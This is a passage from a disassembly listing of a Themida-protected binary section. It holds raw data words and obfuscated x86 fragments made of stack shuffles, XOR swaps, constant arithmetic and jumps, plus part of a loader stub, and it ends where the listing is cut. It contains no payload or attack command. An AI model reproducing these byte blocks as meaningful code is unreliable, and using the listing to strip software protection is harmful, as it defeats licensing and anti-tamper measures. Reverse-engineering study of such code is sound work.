dd 2474FF56h, 48F5E04h, 0CF86E924h, 348BFFFFh, 4C48124h
dd 56000000h, 8904EC83h, 7FB82404h, 351DF303h, 1ABB09D8h
dd 0FFFFBF57h, 0F829FFFFh, 0FF544CE9h, 0CFF66FFh, 26E99C24h
dd 0FFFFFF46h, 0ACE92434h, 83000003h, 0E38104C4h, 6FB7439Ah
dd 4E45BD55h, 0DDF765F7h, 23C7ED81h, 0EB29A2ABh, 5BD8895Dh
dd 48BC201h, 4C48324h, 0FFB3EEE9h, 0FDC381FFh, 0E900EB68h
dd 0FFFF8CD1h, 0E6C016B6h, 8A95E903h, 77FFFFFFh, 59669D1Ch
dd 9C241CD2h, 0FF45D0E9h, 62C480FFh, 2858E130h, 2434FFC8h
dd 0FEEDE959h, 8149FFFFh, 7F5E92E9h, 0E8E98140h, 0E942E93Ch
dd 779h, 0C6DCE957h, 0E589FFFFh, 4C581h, 29E90000h, 59FFFF69h
dd 0E901C083h, 0FFFFD28Ch, 802CB450h, 0EC8088F4h, 0E9E62045h
dd 0FFFFF19Eh, 457BE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541546: ; CODE XREF: Themida_:00540F4Fj
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_539C89
; ---------------------------------------------------------------------------
dw 875Dh
dd 565C241Ch, 982850BEh, 1FCE8157h, 815E0477h, 186892E6h
dd 6F68167h, 0E9504B1Bh, 0FFFFE7A2h, 0CFE9D2B2h, 5FFFFF67h
dd 0EA81DA01h, 119A6492h, 9D61E95Bh, 15DFFFFh, 0C4EBE9F2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541596: ; CODE XREF: Themida_:0053777Cj
add esp, 4
push eax
mov ah, 94h
push ebx
mov bl, 1Dh
add bl, 13h
jmp loc_53EBA2
; ---------------------------------------------------------------------------
dw 0BA66h
dd 0F7665B0Eh, 0C28166DAh, 29665F58h, 1665AD1h, 2434FFC8h
dd 0FF6CD4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5415C5: ; CODE XREF: Themida_:0053B985j
push ebp
mov ebp, 79F05788h
jmp loc_5362B2
; ---------------------------------------------------------------------------
dd 57D831ADh, 0D69C2BFh, 9D1CE915h, 4C68FFFFh, 0E91EB929h
dd 0FFFF7B06h, 70A068h, 241C8900h, 0BD555B54h, 56CE1DD5h
dd 0FFF3AAE9h, 44BFE9FFh, 0E801FFFFh, 0DBF575Dh, 810C962Ch
dd 63322FC7h, 0F275E931h, 56B7FFFFh, 0FF53BAE9h, 1F8CBDFFh
dd 0EB313A91h, 0F5E4E95Dh, 0BA52FFFFh, 20005h, 56E9D031h
dd 0E9FFFFBCh, 0FFFF4485h, 5547CCBFh, 0B850571Fh, 0D9D0403h
dd 4244401h, 0F7E95D58h, 81FFFF74h, 0F74767C7h, 0A3EF8174h
dd 0E90B1A42h, 0FFFFDC32h
; ---------------------------------------------------------------------------
loc_541664: ; CODE XREF: Themida_:00535B38j
or eax, eax
jz loc_53DA41
push 6D80h
mov [esp], eax
push ecx
jmp loc_53963B
; ---------------------------------------------------------------------------
dw 272Dh
dd 2D35580Eh, 70B325FCh, 24E9C229h, 83FFFFA8h, 0EC8104C4h
dd 4, 68243C89h, 68F0373Bh, 0F0BB535Fh, 4B39D827h, 0E3C1D3F7h
dd 43D3F708h, 0B544B850h, 0C32962ECh, 5BD82958h, 34A9BA52h
dd 6AE9234Ah, 0D3FFFF9Ah, 0E99C243Ch, 0FFFF43F5h, 0E983D9F7h
dd 8848E9FFh, 5648FFFFh, 405793BEh, 0A1C68114h, 0E90AFE12h
dd 0FFFFDD10h, 240C895Ch, 83E9AEB1h, 52FFFF5Ch, 8B2D12BAh
dd 69F28120h, 815D1D3Dh, 516BDDC2h, 7101E94Ah, 1489FFFFh
dd 7267BA24h, 0C2816DCEh, 0D171A743h, 0FF541FE9h, 4C681FFh
dd 81000000h, 4C6h, 24348700h, 0DBB9E95Ch, 8B66FFFFh
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
jmp loc_5410F0
; ---------------------------------------------------------------------------
dw 0BA52h
dd 306A15D6h, 0FFC6D0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541751: ; CODE XREF: Themida_:0053CA67j
mov edx, [esp]
jmp loc_53E8F5
; ---------------------------------------------------------------------------
loc_541759: ; CODE XREF: Themida_:0053A870j
add ebp, 28D284B4h
sub eax, 261F6A62h
add eax, ebp
add eax, 261F6A62h
pop ebp
jmp loc_536B32
; ---------------------------------------------------------------------------
db 5Ah, 2Ch, 0AFh
dd 0FF625EE9h, 24048FFFh, 8966645Ch, 433BE902h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541786: ; CODE XREF: Themida_:00536862j
xor [esp], edi
xor edi, [esp]
jmp loc_53622C
; ---------------------------------------------------------------------------
loc_541791: ; CODE XREF: Themida_:00538FCFj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
inc ecx
not ecx
sub ecx, 0CE7F6C36h
and eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_537D1A
; ---------------------------------------------------------------------------
dw 0BB53h
dd 39A47C10h, 8334E953h, 0D1F7FFFFh, 5C55B850h, 0C131327Ah
dd 0E924048Bh, 0A15h
; ---------------------------------------------------------------------------
loc_5417D8: ; CODE XREF: Themida_:0054071Aj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_535AC1
; ---------------------------------------------------------------------------
dd 0E924148Bh, 0FFFF5B6Ah, 0CE9DFF6h, 81000004h, 602C84EAh
dd 0C852E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541806: ; CODE XREF: Themida_:00539289j
add esp, 4
and eax, ebx
jmp loc_5400B2
; ---------------------------------------------------------------------------
dd 58FB866h, 3E8C166h, 7F8F0566h, 2BE95066h, 0F7FFFF97h
dd 2D582414h, 8CF75320h, 0E958C689h, 0FFFF44FDh, 4BA52h
dd 0C1810000h, 440B4D7Fh, 0AFE9D101h, 66FFFFC6h, 0A8E99C51h
dd 0FFFFFF8Ch, 48B2434h, 4C48324h, 0FF7C45E9h, 24248BFFh
dd 89241489h, 4BB53E2h, 1000000h, 9A00E9DAh, 0F681FFFFh
dd 71DB0E7Ch, 1C7B951h, 0C181175Ch, 0FFFFFFFFh, 1440C981h
dd 0D1F7244Ch, 7E2EE981h, 0D9F75ABFh, 92F8F181h, 43E963FFh
dd 89FFFFC6h, 0C0B82404h, 2D544863h, 0EC2500Fh, 3A147C05h
dd 0D17AE952h, 0BD55FFFFh, 7228079Bh, 0ED81EDD1h, 19134CC3h
dd 56C8BB53h, 0E7E92068h, 0BAFFFF9Ch, 63863B59h, 8104EAC1h
dd 0A61C38EAh, 55EA814Eh, 3185D207h, 0C6815AD6h, 6BCCC50Eh
dd 815EF189h, 0C252A3E9h, 89E98174h, 0E949151Ch, 0FFFFCD2Fh
; ---------------------------------------------------------------------------
loc_541900: ; CODE XREF: Themida_:0054200Aj
mov edi, esp
add edi, 4
push esi
push ecx
push 523B6858h
pop ecx
dec ecx
not ecx
xor ecx, 0ADC497ACh
jmp loc_535BEE
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F580424h, 248B2404h, 8041E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54192E: ; CODE XREF: Themida_:005393B1j
push 3F4Ch
mov [esp], esp
jmp loc_541DB1
; ---------------------------------------------------------------------------
db 5Ch
dd 4C481h, 9EE90000h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
jmp loc_541F6B
; ---------------------------------------------------------------------------
dd 0E924048Fh, 0FFFFB2C8h
; ---------------------------------------------------------------------------
loc_541958: ; CODE XREF: Themida_:0053BD62j
pop esp
mov [esp], eax
jmp loc_540030
; ---------------------------------------------------------------------------
db 66h, 0F7h, 0E1h
dd 793868h, 0B104E900h, 348BFFFFh, 4C48124h, 0E9000000h
dd 0FFFF49CAh, 6D1ED81h, 0EA2972CAh, 600DE95Dh, 0BA52FFFFh
dd 2, 148BD501h, 0E7895724h, 4C781h, 50530000h, 0F777E6B8h
dd 0B6ACE93Ah, 74FFFFFFh, 8F5D0424h, 248B2404h, 53F9F724h
dd 0C381E389h, 4, 4EB81h, 1C870000h, 0F948E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5419CE: ; CODE XREF: Themida_:00536E01j
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor esi, [esp]
jmp loc_539DA0
; ---------------------------------------------------------------------------
loc_5419E4: ; CODE XREF: Themida_:00538506j
and eax, ebp
mov ebp, [esp]
push 636Ah
jmp loc_53705F
; ---------------------------------------------------------------------------
db 29h
dd 0BDC381C3h, 0E977B83Ah, 0FFFFACD2h, 2C381h, 1C330000h
dd 241C3124h, 5C241C33h, 0E99CC138h, 0FFFF6E39h, 0C383595Eh
dd 241C8702h, 2404305Ch, 4097E99Ch, 0EAC1FFFFh, 0EA814208h
dd 93867071h, 55AD029h, 0DA0527Bh, 324ED405h, 0D5E95A35h
dd 88FFFF42h, 24148BD3h, 5804C483h, 0FFE3B4E9h, 5CBD55FFh
dd 815FD35Dh, 1A5201C5h, 6846h, 2C290000h, 6A76E924h, 0EB81FFFFh
dd 4, 0E9241C87h, 0FFFFC70Bh
; ---------------------------------------------------------------------------
loc_541A7C: ; CODE XREF: Themida_:005400B8j
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
or edx, eax
shl edx, 1
push eax
jmp loc_535F8C
; ---------------------------------------------------------------------------
dd 324ED42Dh, 7BBA5235h, 290DA052h, 87055AD0h, 2D6D787Eh
dd 4DB53471h, 0EC81D029h, 4, 0E9241489h, 0FFFF8DE2h, 0CA6FC6B8h
dd 5A9B2D58h, 292D20C0h, 1380A15h, 3C8758C7h, 24248B24h
dd 9CE9E1F6h, 83FFFFBDh, 148904ECh, 14EBBA24h, 0D1891219h
dd 244C295Ah, 2434FF04h, 0D156E959h, 1704FFFFh, 0FFB9FAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541B05: ; CODE XREF: Themida_:00538D27j
add ebp, 4AB54D89h
add ebp, 0B8978154h
add edi, ebp
pop ebp
shl edi, 1
push 3A0Bh
mov [esp], eax
mov eax, 0F7E53B40h
jmp loc_53E7F1
; ---------------------------------------------------------------------------
loc_541B28: ; CODE XREF: Themida_:0053C8DFj
push esp
pop edx
push ebp
mov ebp, 4
add edx, ebp
jmp loc_53DD0E
; ---------------------------------------------------------------------------
db 68h
dd 6C31h, 0E9242489h, 0FFFF845Ah
; ---------------------------------------------------------------------------
loc_541B44: ; CODE XREF: Themida_:0053B9A3j
pop ebp
add esp, 4
or edx, eax
shl edx, 1
push eax
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_540BDE
; ---------------------------------------------------------------------------
dd 819AE947h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541B72: ; CODE XREF: Themida_:0053731Dj
push 27E3h
jmp loc_540B7F
; ---------------------------------------------------------------------------
dd 50243489h, 0A57B34B8h, 4E0C140h, 0A5745335h, 3E8C115h
dd 3DA968h, 24048900h, 0FFFC86E9h, 241489FFh, 687568h
dd 24348900h, 0FF97DBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541BAD: ; CODE XREF: Themida_:005403CCj
mov ebp, 0FEC28F1h
sub ebp, 4C7D5512h
jmp loc_53DC6C
; ---------------------------------------------------------------------------
db 0BEh, 8Ah, 58h
dd 4CE93FAFh, 83000003h, 0D9E904C4h, 5EFFFFE2h, 54E9F831h
dd 0B2000001h, 5AD4080Ah, 54E9D4F6h, 0FFFFF74h, 0E8C5E9C8h
dd 5066FFFFh, 3ECFE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541BF2: ; CODE XREF: Themida_:00539677j
mov edi, 0FD76A59h
add edi, 3E3773CDh
add ebx, edi
pop edi
xor esi, ebx
jmp loc_53BFD2
; ---------------------------------------------------------------------------
db 50h
dd 0C090B353h, 0C38006E3h, 5BD8884Ah, 0FF7E9AE9h, 0C5815CFFh
dd 4, 8704C583h, 248B242Ch, 0FD19E924h, 1489FFFFh, 4EC8124h
dd 89000000h, 4812424h, 424h, 0C2815A00h, 4, 0FF46B9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541C4D: ; CODE XREF: Themida_:0053DED4j
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
jmp loc_539F34
; ---------------------------------------------------------------------------
loc_541C5F: ; CODE XREF: Themida_:0053F279j
mov eax, 5EF846E8h
jmp loc_53BD9C
; ---------------------------------------------------------------------------
db 0B9h, 99h, 67h
dd 0C1833756h, 0E1814101h, 2BCA643Fh, 5BD6E981h, 6FE9E96Ch
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541C83: ; CODE XREF: Themida_:0053D43Aj
mov edx, 403D4CFEh
jmp loc_53CD10
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0B1h
dd 813B6052h, 0CC05C3C7h, 0BD6FE948h, 481FFFFh, 424h, 9854E900h
dd 0E952FFFFh, 0FFFF5107h
; ---------------------------------------------------------------------------
loc_541CB0: ; CODE XREF: Themida_:00540BA9j
shr edi, 1
shl edi, 8
add edi, 67F55C00h
push edi
push ebp
mov ebp, 285D46E1h
jmp loc_540A0A
; ---------------------------------------------------------------------------
db 81h
dd 5F3564C5h, 2C875E24h, 585AE924h, 0E589FFFFh, 383CBA52h
dd 0E2C139D8h, 8E2C105h, 4B91EA81h, 87E945AFh, 81000005h
dd 4E9h, 879BE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541CFA: ; CODE XREF: Themida_:0053E8B7j
add esp, 4
or eax, eax
jz loc_53AC0B
push 19BDh
jmp loc_536E1B
; ---------------------------------------------------------------------------
db 5Ch
dd 0E904C483h, 0FFFF3DA9h, 4C381h, 0C3830000h, 5AAA6802h
dd 5DE90000h, 5FFFFFBCh, 9109E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541D32: ; CODE XREF: Themida_:0053B198j
pop ebx
add esp, 4
push edi
push eax
push 4CB365FEh
pop eax
inc eax
not eax
jmp loc_53B3FA
; ---------------------------------------------------------------------------
dw 0C87h
dd 14875C24h, 24248B24h, 0B8240489h, 1, 0FF1C4709h, 79E92434h
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541D63: ; CODE XREF: Themida_:0053AEFEj
sub edi, ecx
sub esp, 4
mov [esp], esi
mov esi, 2153319Ah
sub edi, esi
pop esi
pop ecx
push edx
mov edx, 20D8097Bh
shl edx, 6
push ecx
mov ecx, 4FA463E3h
sub ecx, 6F3D1D01h
jmp loc_53A9B9
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 405E089h, 83000000h, 0FF5002C0h, 58042474h, 5C24048Fh
dd 24048F66h, 0FF66B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541DB1: ; CODE XREF: Themida_:00541936j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
pop eax
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_53FB3E
; ---------------------------------------------------------------------------
dw 48Fh
dd 24248B24h, 24043166h, 3CD3E99Ch, 5401FFFFh, 0E95A0424h
dd 0FFFF3CC9h, 405h, 0A9E95600h, 2DFFFFDAh, 18B64193h
dd 1EE0BA52h, 0D031148Ch, 0D61355Ah, 0C6896146h, 0FFF32958h
dd 0ABE92434h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541E23: ; CODE XREF: Themida_:0054066Ej
add eax, ecx
jmp loc_538A36
; ---------------------------------------------------------------------------
dw 5748h
dd 6F3DFABFh, 5FF8317Fh, 0FF6F44E9h, 241C87FFh, 77BB535Ch
dd 4322562Dh, 0E906EBC1h, 0FFFF431Fh, 66CE0966h, 0F6816659h
dd 8166443Fh, 66258BE6h, 8166D6F7h, 669CC6C6h, 6621192Dh
dd 566F001h, 1FE92119h, 0FFFFFF81h, 3C47E932h, 0D5BFFFFFh
dd 0BE01F42Ah, 0FE0BD52Dh, 3C8BFE01h, 4C48324h, 348BF501h
dd 4C48324h, 31242C33h, 2C33242Ch, 4FE5C24h, 1AE99C24h
dd 5DFFFF3Ch, 5484F681h, 0F3010045h, 0FF546DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541EB5: ; CODE XREF: Themida_:00538226j
push 1748h
mov [esp], eax
jmp loc_53EAD9
; ---------------------------------------------------------------------------
dw 0D143h
dd 0EB8143E3h, 696169FFh, 15BDE01h, 6EEE81CEh, 595D5579h
dd 404CBD55h, 0EC835A9Ah, 24348904h, 6D3C8CBEh, 0A1E6810Dh
dd 81094B40h, 2CBF36F6h, 5EF501ACh, 0E95DEE01h, 0FFFF4CC0h
dd 2958C329h, 0A1C381C3h, 8B69F536h, 2DE92404h, 46FFFF90h
dd 2414F756h, 0FF7863E9h, 5C801FFh, 24B31AF9h, 592434FFh
dd 4C481h, 68570000h, 6A2E00B7h, 0FFFB015Fh, 0E95F2434h
dd 0FFFFA81Eh, 1C8B6659h, 0E3895324h, 4C381h, 0C3810000h
dd 2, 5C241C87h, 8055EB80h, 0EB80E2C3h, 80C300C0h, 57E9C0C3h
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541F6B: ; CODE XREF: Themida_:0054194Bj
mov edx, 4
add ebp, edx
pop edx
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_53B88B
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 83000000h, 0ABE904C5h
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541F8F: ; CODE XREF: Themida_:0053AC43j
mov esp, [esp]
mov [esp], ecx
mov ecx, 651829DCh
jmp loc_53A114
; ---------------------------------------------------------------------------
db 50h
dd 0FF9DE8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541FA5: ; CODE XREF: Themida_:0053E4ACj
add esp, 4
push 723Dh
mov [esp], edi
push ebp
mov ebp, 46A05F3h
jmp loc_53B727
; ---------------------------------------------------------------------------
db 5Bh
dd 0FF6EB0E9h, 58C589FFh, 0D91C581h, 0D5F73C21h, 665FE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_541FD2: ; CODE XREF: Themida_:005365A9j
pop ecx
jmp loc_53BE71
; ---------------------------------------------------------------------------
dd 31243C33h, 3C33243Ch, 24248B24h, 8B2434FFh, 0C4832404h
dd 4EC8304h, 0FF7375E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_541FF5: ; CODE XREF: Themida_:0053E244j
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_541900
; ---------------------------------------------------------------------------
db 57h
dd 66195EBFh, 81E7D16Ah, 0CC32B8EFh, 0E9FD01D4h, 0FFFFB9B3h
dd 240C8B66h, 369868h, 241C8900h, 0FF54C1E9h, 5F7CB8FFh
dd 0D0F71470h, 0FFA43DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_542041: ; CODE XREF: Themida_:0053B225j
push eax
mov eax, 53322770h
mov ecx, 0B36924E0h
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_53CC79
; ---------------------------------------------------------------------------
loc_54205C: ; CODE XREF: Themida_:00535C46j
pop esp
push ecx
mov cl, 39h
dec cl
neg cl
xor cl, 4Ch
xor dh, cl
jmp loc_538206
; ---------------------------------------------------------------------------
dw 8B66h
dd 87E92404h, 66FFFF99h, 6824048Bh, 802h, 54243489h, 5E2434FFh
dd 5E08950h, 4, 405h, 24048700h, 0FFD754E9h, 4C681FFh
dd 81000000h, 4C6h, 24348700h, 0E924248Bh, 0FFFFCC1Ah
dd 0FF3A08E9h, 5F829FFh, 7C9817CAh, 70E7B951h, 0C2E94161h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5420CB: ; CODE XREF: Themida_:00540391j
sub edx, 787B65F0h
sub edx, 0F2B405B3h
sub eax, edx
pop edx
mov ecx, eax
pop eax
xor ecx, ebx
mov ebx, [esp]
jmp loc_53991F
; ---------------------------------------------------------------------------
a_hfi db '_häi',0
dd 241C8900h, 0FF4ABFE9h, 0B65266FFh, 66F728FFh, 0DF7805Ah
dd 76E9F828h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542107: ; CODE XREF: Themida_:00535C2Bj
inc eax
jmp loc_540B2C
; ---------------------------------------------------------------------------
db 81h, 0C2h, 45h
dd 81436856h, 0E30874F2h, 0FFC28312h, 2655F281h, 0DAF778F7h
dd 0F3D0C281h, 0D009670Dh, 7EAE355Ah, 68E92BFDh, 0FFFFFFFEh
dd 58042474h, 5C24048Fh, 397BE95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_542146: ; CODE XREF: Themida_:0053C8EBj
push eax
mov eax, 81A4760h
push esi
mov esi, 16211D4h
not esi
jmp loc_53D349
; ---------------------------------------------------------------------------
loc_542159: ; CODE XREF: Themida_:005363B4j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 73F6770Ah
neg edi
shl edi, 8
xor edi, 988F604h
add edx, 789A0C84h
add edx, 1EAF34C7h
add edx, edi
sub edx, 1EAF34C7h
sub edx, 789A0C84h
mov edi, [esp]
add esp, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push 3FEh
jmp loc_5406AF
; ---------------------------------------------------------------------------
dw 0CA01h
dd 2BB5359h, 57000000h, 9A6492BFh, 0E9FA0111h, 0FFFFF3B7h
dd 6857515Eh, 59E46EF3h, 0FFBD9CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5421D5: ; CODE XREF: Themida_:00539081j
add ebx, 2
xchg ebx, [esp]
pop esp
btc [esp], ax
pushf
jmp loc_535AC1
; ---------------------------------------------------------------------------
db 0ADh
dd 0FF65C0E9h, 4C483FFh, 23E1C181h, 0D7E90AFDh
db 78h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5421FB: ; CODE XREF: Themida_:00538483j
add ebx, 4
jmp loc_53C578
; ---------------------------------------------------------------------------
loc_542206: ; CODE XREF: Themida_:0053D66Fj
sub bl, 0D3h
sub bl, ch
add bl, 0D3h
pop cx
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
dw 0C361h
dd 81240C8Bh, 4ECh, 24048900h, 7D68E089h, 0E900007Ch, 0FFFFF94Ch
; ---------------------------------------------------------------------------
loc_542230: ; CODE XREF: Themida_:0053B29Fj
mov edi, ebp
pop ebp
xor edx, edi
pop edi
not edx
jmp loc_53D42B
; ---------------------------------------------------------------------------
loc_54223D: ; CODE XREF: Themida_:0053B73Dj
pop ebp
push esi
mov esi, esp
push ebx
mov ebx, 52EE3F62h
xor ebx, 51AF256Ch
xor ebx, 3411A0Ah
add esi, ebx
pop ebx
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push edi
add dword ptr [esp], 41E86D00h
mov eax, [esp]
jmp loc_53DC4A
; ---------------------------------------------------------------------------
dw 0E2D1h
dd 4EC8157h, 89000000h, 9EBE2434h, 575A0A18h, 0A119E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54228E: ; CODE XREF: Themida_:005388F5j
push ebp
xchg esi, [esp]
not esi
xor [esp], esi
xor esi, [esp]
xor [esp], esi
pop ebp
jmp loc_5382F7
; ---------------------------------------------------------------------------
loc_5422A3: ; CODE XREF: Themida_:005406D0j
mov ebp, eax
jmp loc_5377A3
; ---------------------------------------------------------------------------
dw 17B6h
dd 0FFCAF2E9h, 3DC181FFh, 1EF1927h, 0FF5059C8h, 58042474h
dd 0FF445EE9h, 4EC81FFh, 89000000h, 6BE9243Ch, 51FFFF53h
dd 97E919B5h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5422DB: ; CODE XREF: Themida_:005410F9j
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, esp
jmp loc_53CDB0
; ---------------------------------------------------------------------------
dd offset dword_49005C+29F0Ch
align 2
dw 489h
dd 48B5424h, 4C48124h, 5000000h, 4, 42Dh, 24048700h, 2424895Ch
dd 4EC81h, 2C890000h, 4BD24h, 0DBE90000h, 81FFFFD1h, 42404h
dd 5580000h, 4, 405h, 24048700h, 7179055Ch, 0FF661CB3h
dd 377FE930h, 3135FFFFh, 35114B00h, 25546B77h, 0FF4183E9h
dd 1C335CFFh, 241C3124h, 5C241C33h, 24048B66h, 4EC81h
dd 1C890000h, 0A010E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54236E: ; CODE XREF: Themida_:0053AA32j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_53805B
; ---------------------------------------------------------------------------
loc_542379: ; CODE XREF: Themida_:0053CB98j
mov ebx, esp
add ebx, 4
jmp loc_53A77F
; ---------------------------------------------------------------------------
dw 0F66h
dd 5166C8AFh, 372FE99Ch, 34FFFFFFh, 0C4835924h, 4EC8104h
dd 89000000h, 0E8682404h, 5400005Fh, 8124048Fh, 42404h
dd 0CEE90000h
db 5Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5423B7: ; CODE XREF: Themida_:00536018j
pop esp
add ebp, 0CD0CE1C1h
jmp loc_53E8B1
; ---------------------------------------------------------------------------
loc_5423C3: ; CODE XREF: Themida_:005388D1j
sub ebx, 2F393A01h
sub ebx, 5C87B74h
pop ebp
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
movzx ax, byte ptr [eax]
jmp loc_53D41E
; ---------------------------------------------------------------------------
align 4
dd 59371000h, 0
dd 59420000h, 33DCF800h, 5823A2FAh, 1308EB00h, 217E7h
dd 200h, 2 dup(100h), 33DCF800h, 0FAh, 4 dup(0)
dd 5449EF00h, 54D67F00h, 55514000h, 55709600h, 54A76F00h
dd 547A0B00h, 55237C00h, 543CCF00h, 54501500h, 5549FD00h
dd 55614500h, 54340F00h, 54B97100h, 55656D00h, 554E7400h
dd 548F0100h, 54AE5800h, 54740200h, 5481E100h, 54603200h
dd 54A92400h, 5522CE00h, 55468300h, 5507D600h, 5535EA00h
dd 553F5300h, 544A7100h, 552AB700h, 54F80000h, 55723300h
dd 54E6F700h, 54A80000h, 5458C100h, 5478C800h, 55152C00h
dd 543C1600h, 5562F200h, 55390200h, 55673A00h, 557AC100h
dd 556EBC00h, 542EEC00h, 5519E800h, 55640B00h, 54C87300h
dd 54F21A00h, 552A9000h, 556A8700h, 5554BF00h, 5454F300h
dd 54B2B600h, 55247B00h, 54F74100h, 54D6B400h, 5456F500h
dd 546D1500h, 542CA200h, 54F53D00h, 551CFB00h, 55748E00h
dd 55077C00h, 54B30400h, 54685E00h, 54A3BD00h, 54B15E00h
dd 55743900h, 5552D300h, 54C47100h, 54AA8800h, 54F28800h
dd 55590A00h, 54F61B00h, 55358600h, 552C8C00h, 55287000h
dd 54EACB00h, 550B8900h, 54319000h, 550AC300h, 544BC700h
dd 555A1000h, 545FC600h, 5506AB00h, 55244C00h, 546BB800h
dd 5494CB00h, 54CA3100h, 54EBFD00h, 55754300h, 5526E400h
dd 54FBC800h, 54F93200h, 547DB600h, 55015A00h, 547EEE00h
dd 54D5AB00h, 557A5200h, 548DC500h, 54B20E00h, 54529700h
dd 54497100h, 542DE600h, 55208B00h, 5568DF00h, 55586700h
dd 54D1EF00h, 55239100h, 54500400h, 54B94500h, 55108700h
dd 54982000h, 54A70400h, 549CF100h, 54402C00h, 54F57B00h
dd 55070F00h, 5536A800h, 543B0400h, 5507B400h, 5545CB00h
dd 545E4A00h, 549A7200h, 54FC8B00h, 55613C00h, 5575D600h
dd 54B35800h, 549C1B00h, 550DAA00h, 55105700h, 552DE400h
dd 54484200h, 551DA700h, 54AFB600h, 542EBB00h, 554C1D00h
dd 54796A00h, 554A2300h, 5428AD00h, 54BF8E00h, 550BC800h
dd 5532A200h, 54400D00h, 5477AF00h, 55674D00h, 552FFE00h
dd 5508AB00h, 54F63A00h, 54FF7400h, 553DD300h, 54BD6600h
dd 55686900h, 54CDD500h, 5565C600h, 54839B00h, 54871500h
dd 54587600h, 555ED000h, 54661E00h, 54D87900h, 54DA5200h
dd 5503AF00h, 552E2600h, 55708600h, 54D8EF00h, 54AE1200h
dd 54C6D300h, 549A9B00h
db 0
; ---------------------------------------------------------------------------
loc_5426C5: ; CODE XREF: Themida_:0058BC0Cj
; Themida_:0058F3D4j
pusha
pushf
cld
call $+5
pop edi
sub edi, 62049D5h
mov eax, edi
add edi, 62046EDh
cmp eax, [edi+2Ch]
jnz short loc_5426E3
jmp short loc_5426F6
; ---------------------------------------------------------------------------
loc_5426E3: ; CODE XREF: Themida_:005426DFj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_5426F2
; ---------------------------------------------------------------------------
loc_5426ED: ; CODE XREF: Themida_:005426F4j
add [edi+ecx*4+40h], eax
dec ecx
loc_5426F2: ; CODE XREF: Themida_:005426EBj
or ecx, ecx
jnz short loc_5426ED
loc_5426F6: ; CODE XREF: Themida_:005426E1j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_542703: ; CODE XREF: Themida_:0054270Aj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_542703
loc_54270C: ; CODE XREF: Themida_:loc_5432B3j
